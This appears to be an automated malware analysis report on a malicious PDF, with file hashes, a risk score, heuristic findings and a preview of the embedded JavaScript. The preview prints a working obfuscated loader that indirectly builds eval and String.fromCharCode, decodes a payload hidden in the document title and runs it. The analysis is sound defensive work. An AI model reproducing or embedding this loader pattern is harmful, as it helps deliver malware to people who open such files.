Malicious PDF — malware analysis report

Static analysis result for SHA-256 a759722f858dc654…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-07
MD5: 1a65852776d8ae5aec459ed1ac3683bc SHA-1: 69b6fdc86d8caceff5112ee0834b4151b959302b SHA-256: a759722f858dc654ecb03f721a16c1d287a7ec77565bf655adb4772bb8f4b3e0
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions could not be determined due to the lack of script content in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB07B 482 bytes
SHA-256: d7376197ed25b95ecec8b7b87058cde83d9a6a6c10b37823a16de7dd842def76
Preview script
First 1,000 lines of the extracted script
vep='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
ejs=e('ti'+'tle');
s=ejs.substr(t.length + 8,3)+'str';
q=ejs[s](1,(1,t.length + 7));
nhsry=e('S'+'tring.fro'+q);
q=ejs[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	mtrz = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	vep += nhsry(mtrz);
}
e(vep);

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